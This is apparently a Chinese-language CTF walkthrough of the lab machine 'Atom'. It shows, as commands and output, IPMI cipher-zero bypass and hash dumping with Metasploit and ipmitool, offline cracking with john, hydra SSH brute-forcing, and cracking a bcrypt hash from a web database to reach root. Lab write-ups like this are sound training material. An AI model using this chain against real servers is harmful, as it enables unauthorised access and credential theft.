\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Atom]\n\u2514\u2500$ sudo nmap -sU --script ipmi-version -p 623 $IP \nStarting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-07-18 11:48 EDT\nNmap scan report for 172.20.10.3\nHost is up (0.00084s latency).\n\nPORT STATE SERVICE\n623\/udp open asf-rmcp\n| ipmi-version: \n| Version: \n| IPMI-2.0\n| UserAuth: password, md5, md2, null\n| PassAuth: auth_msg, auth_user, non_null_user\n|_ Level: 1.5, 2.0\nMAC Address: 08:00:27:35:45:0A (Oracle VirtualBox virtual NIC)\n\nNmap done: 1 IP address (1 host up) scanned in 0.33 seconds<\/code><\/pre>\n\u626b\u63cf\u4e00\u4e0b\u662f\u5426\u5b58\u5728\u76f8\u5173\u8eab\u4efd\u8ba4\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Atom]\n\u2514\u2500$ msfconsole -q\nmsf6 > use auxiliary\/scanner\/ipmi\/ipmi_version\nmsf6 auxiliary(scanner\/ipmi\/ipmi_version) > show options\n\nModule options (auxiliary\/scanner\/ipmi\/ipmi_version):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n BATCHSIZE 256 yes The number of hosts to probe in each set\n RHOSTS yes The target host(s), see https:\/\/docs.metasploit.com\/docs\/using-metasploit\/basics\/using-metasploit.html\n RPORT 623 yes The target port (UDP)\n THREADS 10 yes The number of concurrent threads\n\nView the full module info with the info, or info -d command.\n\nmsf6 auxiliary(scanner\/ipmi\/ipmi_version) > set RHOSTS 172.20.10.3\nRHOSTS => 172.20.10.3\nmsf6 auxiliary(scanner\/ipmi\/ipmi_version) > run\n\n[*] Sending IPMI requests to 172.20.10.3->172.20.10.3 (1 hosts)\n[+] 172.20.10.3:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0) \n[*] Scanned 1 of 1 hosts (100% complete)\n[*] Auxiliary module execution completed\nmsf6 auxiliary(scanner\/ipmi\/ipmi_version) > use auxiliary\/scanner\/ipmi\/ipmi_cipher_zero\nmsf6 auxiliary(scanner\/ipmi\/ipmi_cipher_zero) > show options\n\nModule options (auxiliary\/scanner\/ipmi\/ipmi_cipher_zero):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n BATCHSIZE 256 yes The number of hosts to probe in each set\n RHOSTS yes The target host(s), see https:\/\/docs.metasploit.com\/docs\/using-metasploit\/basics\/using-metasploit.html\n RPORT 623 yes The target port (UDP)\n THREADS 10 yes The number of concurrent threads\n\nView the full module info with the info, or info -d command.\n\nmsf6 auxiliary(scanner\/ipmi\/ipmi_cipher_zero) > set rhosts 172.20.10.3\nrhosts => 172.20.10.3\nmsf6 auxiliary(scanner\/ipmi\/ipmi_cipher_zero) > run\n\n[*] Sending IPMI requests to 172.20.10.3->172.20.10.3 (1 hosts)\n[+] 172.20.10.3:623 - IPMI - VULNERABLE: Accepted a session open request for cipher zero\n[*] Scanned 1 of 1 hosts (100% complete)\n[*] Auxiliary module execution completed<\/code><\/pre>\n\u5b58\u5728\u5e76\u53ef\u4ee5\u8fdb\u884c\u5229\u7528,\u5c1d\u8bd5\u4f7f\u7528\u5de5\u5177\u8fdb\u884c\u5229\u7528\uff1aapt-get install ipmitool<\/code>\uff0c\u4f46\u662f\u8981\u5148\u627e\u5230\u7528\u6237\u540d\u548c\u5bc6\u7801\uff1a<\/p>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Atom]\n\u2514\u2500$ msfconsole -q \nmsf6 > use auxiliary\/scanner\/ipmi\/ipmi_dumphashes\nmsf6 auxiliary(scanner\/ipmi\/ipmi_dumphashes) > show options\n\nModule options (auxiliary\/scanner\/ipmi\/ipmi_dumphashes):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n CRACK_COMMON true yes Automatically crack common passwords as they are obtained\n OUTPUT_HASHCAT_FILE no Save captured password hashes in hashcat format\n OUTPUT_JOHN_FILE no Save captured password hashes in john the ripper format\n PASS_FILE \/usr\/share\/metasploit-framework\/data\/wordlists\/ip yes File containing common passwords for offline cracking, one per line\n mi_passwords.txt\n RHOSTS yes The target host(s), see https:\/\/docs.metasploit.com\/docs\/using-metasploit\/basics\/using-meta\n sploit.html\n RPORT 623 yes The target port\n SESSION_MAX_ATTEMPTS 5 yes Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)\n SESSION_RETRY_DELAY 5 yes Delay between session retries in seconds\n THREADS 1 yes The number of concurrent threads (max one per host)\n USER_FILE \/usr\/share\/metasploit-framework\/data\/wordlists\/ip yes File containing usernames, one per line\n mi_users.txt\n\nView the full module info with the info, or info -d command.\n\nmsf6 auxiliary(scanner\/ipmi\/ipmi_dumphashes) > set rhosts 172.20.10.3\nrhosts => 172.20.10.3\nmsf6 auxiliary(scanner\/ipmi\/ipmi_dumphashes) > run\n\n[+] 172.20.10.3:623 - IPMI - Hash found: admin:a111f95082010000092609dfb9d7bddaf155a7ca936647a94a430a7cc46c896ed9721d01c8b36230a123456789abcdefa123456789abcdef140561646d696e:f086884e16c2ea6ffc95d9163d380fc94ead10c0\n[+] 172.20.10.3:623 - IPMI - Hash for user 'admin' matches password 'cukorborso'\n[*] Scanned 1 of 1 hosts (100% complete)\n[*] Auxiliary module execution completed<\/code><\/pre>\n![\"image-20240719001248673\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/p>\n
\u4f46\u662f\u627e\u4e0d\u5230\u5176\u4ed6\u7684\u7528\u6237\u5bc6\u7801\u3002\u3002\u3002\u653e\u56fe\u662f\u56e0\u4e3a\u56fe\u597d\u770b\u6709\u989c\u8272.jpg<\/code>\uff0c\u5c1d\u8bd5\u7ed5\u8fc7 IPMI \u8eab\u4efd\u9a8c\u8bc1\uff1a<\/p>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Atom]\n\u2514\u2500$ ipmitool -I lanplus -C 0 -H 172.20.10.3 -U admin -P cukorborso user list\nID Name Callin Link Auth IPMI Msg Channel Priv Limit\n1 true false false Unknown (0x00)\n2 admin true false true ADMINISTRATOR\n3 analiese true false true USER\n4 briella true false true USER\n5 richardson true false true USER\n6 carsten true false true USER\n7 sibylle true false true USER\n8 wai-ching true false true USER\n9 jerrilee true false true USER\n10 glynn true false true USER\n11 asia true false true USER\n12 zaylen true false true USER\n13 fabien true false true USER\n14 merola true false true USER\n15 jem true false true USER\n16 riyaz true false true USER\n17 laten true false true USER\n18 cati true false true USER\n19 rozalia true false true USER\n20 palmer true false true USER\n21 onida true false true USER\n22 terra true false true USER\n23 ranga true false true USER\n24 harrie true false true USER\n25 pauly true false true USER\n26 els true false true USER\n27 bqb true false true USER\n28 karlotte true false true USER\n29 zali true false true USER\n30 ende true false true USER\n31 stacey true false true USER\n32 shirin true false true USER\n33 kaki true false true USER\n34 saman true false true USER\n35 kalie true false true USER\n36 deshawn true false true USER\n37 mayeul true false true USER\n38 true false false Unknown (0x00)\n39 true false false Unknown (0x00)\n40 true false false Unknown (0x00)\n41 true false false Unknown (0x00)\n42 true false false Unknown (0x00)\n43 true false false Unknown (0x00)\n44 true false false Unknown (0x00)\n45 true false false Unknown (0x00)\n46 true false false Unknown (0x00)\n47 true false false Unknown (0x00)\n48 true false false Unknown (0x00)\n49 true false false Unknown (0x00)\n50 true false false Unknown (0x00)\n51 true false false Unknown (0x00)\n52 true false false Unknown (0x00)\n53 true false false Unknown (0x00)\n54 true false false Unknown (0x00)\n55 true false false Unknown (0x00)\n56 true false false Unknown (0x00)\n57 true false false Unknown (0x00)\n58 true false false Unknown (0x00)\n59 true false false Unknown (0x00)\n60 true false false Unknown (0x00)\n61 true false false Unknown (0x00)\n62 true false false Unknown (0x00)\n63 true false false Unknown (0x00)<\/code><\/pre>\n\u6f0f\u6d1e\u67e5\u627e\u5229\u7528<\/h3>\n
\u5c1d\u8bd5ssh\u8fde\u63a5\u4f46\u662f\u5931\u8d25\uff0c\u5c1d\u8bd5\u5229\u7528\u73b0\u6709\u6f0f\u6d1e\uff1a<\/p>\n
<\/div><\/p>\n
\u4e0d\u77e5\u9053\u662f\u4e0d\u662f\u4f7f\u7528\u65b9\u6cd5\u6709\u95ee\u9898\u90fd\u6ca1\u6210\u529f\uff0c\u5c1d\u8bd5\u641c\u7d22\uff0c\u627e\u5230\u4e86\u4e00\u4e2a\u65b0\u7684\u641c\u7d22\u5de5\u5177\uff1a<\/p>\n
<\/div><\/p>\n
\u8fd9\u4e5f\u662fdumphash\u7684\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u5229\u7528\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Atom]\n\u2514\u2500$ ipmitool -I lanplus -C 0 -H 172.20.10.3 -U admin -P cukorborso user list | grep USER | awk -F '[ ]' '{print $3}' | uniq -u \nglynn\nasia\nzaylen\nfabien\nmerola\njem\nriyaz\nlaten\ncati\nrozalia\npalmer\nonida\nterra\nranga\nharrie\npauly\nels\nbqb\nkarlotte\nzali\nende\nstacey\nshirin\nkaki\nsaman\nkalie\ndeshawn\nmayeul<\/code><\/pre>\n\u5bfc\u5165\u6587\u4ef6\u8fdb\u884c\u5206\u6790\uff1a<\/p>\n
# git clone https:\/\/github.com\/c0rnf13ld\/ipmiPwner.git\n# ipmitool -I lanplus -C 0 -H 172.20.10.3 -U admin -P cukorborso user list | grep USER | awk -F '[ ]' '{print $3}' | uniq -u > user\n# cd ipmiPwner\n# sudo .\/requirements.sh\n# \u968f\u4fbf\u5c1d\u8bd5\u4e00\u4e2a\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Atom\/ipmiPwner]\n\u2514\u2500$ sudo python3 ipmipwner.py --host 172.20.10.3 -u glynn -c john -pW \/usr\/share\/wordlists\/rockyou.txt -oH hash\n[*] Checking if port 623 for host 172.20.10.3 is active\n[*] The username: glynn is valid \n[*] Saving hash for user: glynn in file: "hash"\n[*] The hash for user: glynn\n \\_ $rakp$a4a3a2a08209000027bf9c61b838a56a9973b3df9ebf3d62123c97e7c875a1e96c914427d59d6e4aa123456789abcdefa123456789abcdef1405676c796e6e$003cce9e8c3767318b61fc6f893afd5efd3aaded[*] Starting the hash cracking with john\n\nUsing default input encoding: UTF-8\nLoaded 1 password hash (RAKP, IPMI 2.0 RAKP (RMCP+) [HMAC-SHA1 128\/128 SSE2 4x])\nWill run 2 OpenMP threads\nPress Ctrl-C to abort, or send SIGUSR1 to john process for status\nevan (172.20.10.3 glynn) \n1g 0:00:00:00 DONE (2024-07-18 13:12) 2.564g\/s 168041p\/s 168041c\/s 168041C\/s dyesebel..sabrina7\nUse the "--show" option to display all of the cracked passwords reliably\nSession completed.\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Atom\/ipmiPwner]\n\u2514\u2500$ for user in $(cat ..\/user); do sudo python3 ipmipwner.py --host 172.20.10.3 -u $user -c john -pW \/usr\/share\/wordlists\/rockyou.txt -oH hash >> pass; done\n........\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Atom\/ipmiPwner]\n\u2514\u2500$ cat pass | grep '(172' | awk '{print $1}' \nevan\nTWEETY1\n120691\nchatroom\nmackenzie2\n081704\ndjones\ntrick1\n122987\nbatman!\nphones\njiggaman\nsexymoma\njaffa1\n071590\n515253\ndezzy\n290992\nemeralds\npoynter\ntripod\ncastillo1\nkittyboo\nnumberone\n090506\nbillandben\nmilo123\n241107\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Atom\/ipmiPwner]\n\u2514\u2500$ cat pass | grep '(172' | awk '{print $1}' > ..\/pazz<\/code><\/pre>\n\u7206\u7834<\/h3>\n
\u5c1d\u8bd5\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Atom]\n\u2514\u2500$ hydra -L user -P pazz ssh:\/\/172.20.10.3 \nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2024-07-18 13:47:20\n[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 784 login tries (l:28\/p:28), ~49 tries per task\n[DATA] attacking ssh:\/\/172.20.10.3:22\/\n[STATUS] 304.00 tries\/min, 304 tries in 00:01h, 482 to do in 00:02h, 14 active\n[22][ssh] host: 172.20.10.3 login: onida password: jiggaman\n[STATUS] 304.00 tries\/min, 608 tries in 00:02h, 178 to do in 00:01h, 14 active\n1 of 1 target successfully completed, 1 valid password found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2024-07-18 13:49:59<\/code><\/pre>\n\u627e\u5230\u4e00\u4e2a\u7528\u6237\uff0c\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\uff1a<\/p>\n
<\/div><\/p>\n
\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\nonida@atom:~$ sudo -l\n-bash: sudo: command not found\nonida@atom:~$ echo $SHELL\n\/bin\/bash\nonida@atom:~$ pwd\n\/home\/onida\nonida@atom:~$ ls -la\ntotal 24\ndrwx------ 2 onida onida 4096 Dec 31 2400 .\ndrwxr-xr-x 3 root root 4096 May 24 13:55 ..\nlrwxrwxrwx 1 root root 9 May 24 14:16 .bash_history -> \/dev\/null\n-rw-r--r-- 1 onida onida 220 Dec 31 2400 .bash_logout\n-rw-r--r-- 1 onida onida 3526 Dec 31 2400 .bashrc\n-rw-r--r-- 1 onida onida 807 Dec 31 2400 .profile\n-rwx------ 1 onida onida 33 Dec 31 2400 user.txt\nonida@atom:~$ cat user.txt \nf75390001fa2fe806b4e3f1e5dadeb2b\nonida@atom:~$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/bin\/passwd\n\/usr\/bin\/su\n\/usr\/bin\/chsh\n\/usr\/bin\/chfn\n\/usr\/bin\/gpasswd\n\/usr\/bin\/umount\n\/usr\/bin\/newgrp\n\/usr\/bin\/mount\n\/usr\/sbin\/pppd\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/polkit-1\/polkit-agent-helper-1\nonida@atom:~$ \/usr\/sbin\/getcap -r \/ 2>\/dev\/null\n\/usr\/bin\/ping cap_net_raw=ep\nonida@atom:~$ cd \/opt\nonida@atom:\/opt$ ls -la\ntotal 8\ndrwxr-xr-x 2 root root 4096 Mar 9 12:26 .\ndrwxr-xr-x 18 root root 4096 May 24 14:18 ..\nonida@atom:\/opt$ cd \/\nonida@atom:\/$ ls -la\ntotal 68\ndrwxr-xr-x 18 root root 4096 May 24 14:18 .\ndrwxr-xr-x 18 root root 4096 May 24 14:18 ..\nlrwxrwxrwx 1 root root 7 Mar 9 12:26 bin -> usr\/bin\ndrwxr-xr-x 3 root root 4096 May 24 14:18 boot\ndrwxr-xr-x 17 root root 3320 Jul 18 17:25 dev\ndrwxr-xr-x 86 root root 4096 Jul 18 17:25 etc\ndrwxr-xr-x 3 root root 4096 May 24 13:55 home\nlrwxrwxrwx 1 root root 30 May 24 14:18 initrd.img -> boot\/initrd.img-6.1.0-21-amd64\nlrwxrwxrwx 1 root root 30 Mar 9 12:28 initrd.img.old -> boot\/initrd.img-6.1.0-18-amd64\nlrwxrwxrwx 1 root root 7 Mar 9 12:26 lib -> usr\/lib\nlrwxrwxrwx 1 root root 9 Mar 9 12:26 lib64 -> usr\/lib64\ndrwx------ 2 root root 16384 Mar 9 12:26 lost+found\ndrwxr-xr-x 3 root root 4096 Mar 9 12:26 media\ndrwxr-xr-x 2 root root 4096 Mar 9 12:26 mnt\ndrwxr-xr-x 2 root root 4096 Mar 9 12:26 opt\ndr-xr-xr-x 148 root root 0 Jul 18 17:25 proc\ndrwx------ 4 root root 4096 May 27 15:43 root\ndrwxr-xr-x 21 root root 620 Jul 18 19:50 run\nlrwxrwxrwx 1 root root 8 Mar 9 12:26 sbin -> usr\/sbin\ndrwxr-xr-x 2 root root 4096 Mar 9 12:26 srv\ndr-xr-xr-x 13 root root 0 Jul 18 17:25 sys\ndrwxrwxrwt 10 root root 4096 Jul 18 19:39 tmp\ndrwxr-xr-x 12 root root 4096 Mar 9 12:26 usr\ndrwxr-xr-x 12 root root 4096 May 25 22:19 var\nlrwxrwxrwx 1 root root 27 May 24 14:18 vmlinuz -> boot\/vmlinuz-6.1.0-21-amd64\nlrwxrwxrwx 1 root root 27 Mar 9 12:28 vmlinuz.old -> boot\/vmlinuz-6.1.0-18-amd64\nonida@atom:\/$ cd \/var\/www\nonida@atom:\/var\/www$ ls -la\ntotal 12\ndrwxr-xr-x 3 root root 4096 May 25 22:19 .\ndrwxr-xr-x 12 root root 4096 May 25 22:19 ..\ndrwxr-xr-x 6 www-data www-data 4096 May 27 15:21 html\nonida@atom:\/var\/www$ cd html\nonida@atom:\/var\/www\/html$ ls -la\ntotal 172\ndrwxr-xr-x 6 www-data www-data 4096 May 27 15:21 .\ndrwxr-xr-x 3 root root 4096 May 25 22:19 ..\n-rwxr-xr-x 1 www-data www-data 114688 May 27 15:21 atom-2400-database.db\ndrwxr-xr-x 2 www-data www-data 4096 Dec 31 2400 css\ndrwxr-xr-x 4 www-data www-data 4096 Dec 31 2400 img\n-rw-r--r-- 1 www-data www-data 11767 Dec 31 2400 index.php\ndrwxr-xr-x 2 www-data www-data 4096 Dec 31 2400 js\n-rw-r--r-- 1 www-data www-data 6262 Dec 31 2400 login.php\n-rwxr-xr-x 1 www-data www-data 1637 Dec 31 2400 profile.php\n-rw-r--r-- 1 www-data www-data 5534 Dec 31 2400 register.php\ndrwxr-xr-x 2 www-data www-data 4096 Dec 31 2400 video\nonida@atom:\/var\/www\/html$ cat profile.php \n<?php\nsession_start();\n\nif (!isset($_SESSION['user'])) {\n header('Location: login.php');\n exit();\n}\n?>\n<!DOCTYPE html>\n<html lang="en">\n<head>\n <meta charset="UTF-8">\n <meta http-equiv="X-UA-Compatible" content="IE=edge">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n <title>Atom Owns The World<\/title>\n <style>\n body, html {\n height: 100%;\n margin: 0;\n display: flex;\n justify-content: center;\n align-items: center;\n font-family: 'Arial', sans-serif;\n color: white;\n background: none;\n overflow: hidden;\n }\n .bg-video {\n position: fixed;\n top: 50%;\n left: 50%;\n width: 100%;\n height: 100%;\n object-fit: cover;\n transform: translate(-50%, -50%);\n z-index: -1;\n }\n .message-container {\n text-align: center;\n background-color: rgba(0, 0, 0, 0.5);\n padding: 20px;\n border-radius: 10px;\n }\n <\/style>\n<\/head>\n<body>\n <video autoplay muted loop class="bg-video">\n <source src="video\/gfp-astro-timelapse.mp4" type="video\/mp4">\n <\/video>\n <div class="message-container">\n <?php\n echo '<h1>Welcome, ' . htmlspecialchars($_SESSION['user']) . '!<\/h1>';\n if ($_SESSION['user'] == 'atom') {\n echo '<p>You\\'ve finally become the root of the earth!<\/p>';\n } else {\n echo '<p>You\\'ll soon be Atom\\'s servant!<\/p>';\n }\n ?>\n <\/div>\n<\/body>\n<\/html>\nonida@atom:\/var\/www\/html$ cat atom-2400-database.db \nQ\ufffdY\ufffd&\ufffd\ufffdmtableusersusersCREATE TABLE users (\n id INTEGER PRIMARY KEY,\n username TEXT UNIQUE NOT NULL,\n password TEXT NOT NULL\n))=indexsqlite_autoindex_users_1user\ufffd$))\ufffdtablelogin_attemptslogin_attemptsCREATE TABLE login_attempts (\n id INTEGER PRIMARY KEY,\n ip_address TEXT NOT NULL,\n attempt_time INTEGER NOT NULL\n\ufffd\ufffdnKE\ufffdatom$2y$10$Z1K.4yVakZEY.Qsju3WZzukW\/M3fI6BkSohYOiBQqG7pK1F2fH9Cm\n\ufffd\ufffd\ufffd atom<\/code><\/pre>\n<\/div><\/p>\n
\u5185\u90e8\u5f00\u653e\u4e86\u76f8\u5173\u7aef\u53e3\uff0c\u5c1d\u8bd5\u8bfb\u53d6\u6570\u636e\u5e93\uff1a<\/p>\n
onida@atom:\/var\/www\/html$ sqlite3\nSQLite version 3.40.1 2022-12-28 14:03:47\nEnter ".help" for usage hints.\nConnected to a transient in-memory database.\nUse ".open FILENAME" to reopen on a persistent database.\nsqlite> .help\n.archive ... Manage SQL archives\n.auth ON|OFF Show authorizer callbacks\n.backup ?DB? FILE Backup DB (default "main") to FILE\n.bail on|off Stop after hitting an error. Default OFF\n.binary on|off Turn binary output on or off. Default OFF\n.cd DIRECTORY Change the working directory to DIRECTORY\n.changes on|off Show number of rows changed by SQL\n.check GLOB Fail if output since .testcase does not match\n.clone NEWDB Clone data into NEWDB from the existing database\n.connection [close] [#] Open or close an auxiliary database connection\n.databases List names and files of attached databases\n.dbconfig ?op? ?val? List or change sqlite3_db_config() options\n.dbinfo ?DB? Show status information about the database\n.dump ?OBJECTS? Render database content as SQL\n.echo on|off Turn command echo on or off\n.eqp on|off|full|... Enable or disable automatic EXPLAIN QUERY PLAN\n.excel Display the output of next command in spreadsheet\n.exit ?CODE? Exit this program with return-code CODE\n.expert EXPERIMENTAL. Suggest indexes for queries\n.explain ?on|off|auto? Change the EXPLAIN formatting mode. Default: auto\n.filectrl CMD ... Run various sqlite3_file_control() operations\n.fullschema ?--indent? Show schema and the content of sqlite_stat tables\n.headers on|off Turn display of headers on or off\n.help ?-all? ?PATTERN? Show help text for PATTERN\n.import FILE TABLE Import data from FILE into TABLE\n.imposter INDEX TABLE Create imposter table TABLE on index INDEX\n.indexes ?TABLE? Show names of indexes\n.limit ?LIMIT? ?VAL? Display or change the value of an SQLITE_LIMIT\n.lint OPTIONS Report potential schema issues.\n.load FILE ?ENTRY? Load an extension library\n.log FILE|off Turn logging on or off. FILE can be stderr\/stdout\n.mode MODE ?OPTIONS? Set output mode\n.nonce STRING Suspend safe mode for one command if nonce matches\n.nullvalue STRING Use STRING in place of NULL values\n.once ?OPTIONS? ?FILE? Output for the next SQL command only to FILE\n.open ?OPTIONS? ?FILE? Close existing database and reopen FILE\n.output ?FILE? Send output to FILE or stdout if FILE is omitted\n.parameter CMD ... Manage SQL parameter bindings\n.print STRING... Print literal STRING\n.progress N Invoke progress handler after every N opcodes\n.prompt MAIN CONTINUE Replace the standard prompts\n.quit Exit this program\n.read FILE Read input from FILE or command output\n.recover Recover as much data as possible from corrupt db.\n.restore ?DB? FILE Restore content of DB (default "main") from FILE\n.save ?OPTIONS? FILE Write database to FILE (an alias for .backup ...)\n.scanstats on|off Turn sqlite3_stmt_scanstatus() metrics on or off\n.schema ?PATTERN? Show the CREATE statements matching PATTERN\n.selftest ?OPTIONS? Run tests defined in the SELFTEST table\n.separator COL ?ROW? Change the column and row separators\n.session ?NAME? CMD ... Create or control sessions\n.sha3sum ... Compute a SHA3 hash of database content\n.shell CMD ARGS... Run CMD ARGS... in a system shell\n.show Show the current values for various settings\n.stats ?ARG? Show stats or turn stats on or off\n.system CMD ARGS... Run CMD ARGS... in a system shell\n.tables ?TABLE? List names of tables matching LIKE pattern TABLE\n.testcase NAME Begin redirecting output to 'testcase-out.txt'\n.testctrl CMD ... Run various sqlite3_test_control() operations\n.timeout MS Try opening locked tables for MS milliseconds\n.timer on|off Turn SQL timer on or off\n.trace ?OPTIONS? Output each SQL statement as it is run\n.vfsinfo ?AUX? Information about the top-level VFS\n.vfslist List all available VFSes\n.vfsname ?AUX? Print the name of the VFS stack\n.width NUM1 NUM2 ... Set minimum column widths for columnar output\nsqlite> .open atom-2400-database.db\nsqlite> .databases\nmain: \/var\/www\/html\/atom-2400-database.db r\/o\nsqlite> .schema\nCREATE TABLE login_attempts (\n id INTEGER PRIMARY KEY,\n ip_address TEXT NOT NULL,\n attempt_time INTEGER NOT NULL\n);\nCREATE TABLE users (\n id INTEGER PRIMARY KEY,\n username TEXT UNIQUE NOT NULL,\n password TEXT NOT NULL\n);\nsqlite> .output \/tmp\/temp.sql\nsqlite> .dump users\n\nonida@atom:\/var\/www\/html$ cd \/tmp\nonida@atom:\/tmp$ ls -la\ntotal 44\ndrwxrwxrwt 10 root root 4096 Jul 18 20:17 .\ndrwxr-xr-x 18 root root 4096 May 24 14:18 ..\ndrwxrwxrwt 2 root root 4096 Jul 18 17:25 .font-unix\ndrwxrwxrwt 2 root root 4096 Jul 18 17:25 .ICE-unix\ndrwx------ 3 root root 4096 Jul 18 17:25 systemd-private-8301098cde004f0ab5d5a6e6507d4554-apache2.service-ZaMynb\ndrwx------ 3 root root 4096 Jul 18 17:25 systemd-private-8301098cde004f0ab5d5a6e6507d4554-ModemManager.service-orjtq7\ndrwx------ 3 root root 4096 Jul 18 17:25 systemd-private-8301098cde004f0ab5d5a6e6507d4554-systemd-logind.service-Lau3sB\ndrwx------ 3 root root 4096 Jul 18 17:25 systemd-private-8301098cde004f0ab5d5a6e6507d4554-systemd-timesyncd.service-0iGCTP\n-rw-r--r-- 1 onida onida 265 Jul 18 20:17 temp.sql\ndrwxrwxrwt 2 root root 4096 Jul 18 17:25 .X11-unix\ndrwxrwxrwt 2 root root 4096 Jul 18 17:25 .XIM-unix\nonida@atom:\/tmp$ cat temp.sql \nPRAGMA foreign_keys=OFF;\nBEGIN TRANSACTION;\nCREATE TABLE users (\n id INTEGER PRIMARY KEY,\n username TEXT UNIQUE NOT NULL,\n password TEXT NOT NULL\n);\nINSERT INTO users VALUES(1,'atom','$2y$10$Z1K.4yVakZEY.Qsju3WZzukW\/M3fI6BkSohYOiBQqG7pK1F2fH9Cm');\nCOMMIT;<\/code><\/pre>\n\u5c1d\u8bd5 hash \u78b0\u649e\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Atom]\n\u2514\u2500$ john hash\nUsing default input encoding: UTF-8\nLoaded 1 password hash (bcrypt [Blowfish 32\/64 X3])\nCost 1 (iteration count) is 1024 for all loaded hashes\nWill run 2 OpenMP threads\nProceeding with single, rules:Single\nPress 'q' or Ctrl-C to abort, almost any other key for status\nAlmost done: Processing the remaining buffered candidate passwords, if any.\nProceeding with wordlist:\/usr\/share\/john\/password.lst\nmadison (?) \n1g 0:00:00:02 DONE 2\/3 (2024-07-18 14:19) 0.4255g\/s 84.25p\/s 84.25c\/s 84.25C\/s goodluck..mother\nUse the "--show" option to display all of the cracked passwords reliably\nSession completed. <\/code><\/pre>\n\u4f7f\u7528\u5bc6\u7801\u5373\u53ef\u767b\u5f55root\u3002<\/p>\n
<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"
Atom \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Atom] \u2514\u2500$ rustsca […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-763","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/763","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=763"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/763\/revisions"}],"predecessor-version":[{"id":764,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/763\/revisions\/764"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=763"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=763"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=763"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"image-20240718232244203\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407190221981.png\")
<\/div>![\"image-20240718232646601\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407190221983.png\")
<\/div><\/p>\n![\"image-20240719001248673\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407190221984.png\")
<\/div><\/p>\n![\"image-20240719003457512\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407190221985.png\")
<\/div><\/p>\n![\"image-20240719004936867\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202407190221986.png\")
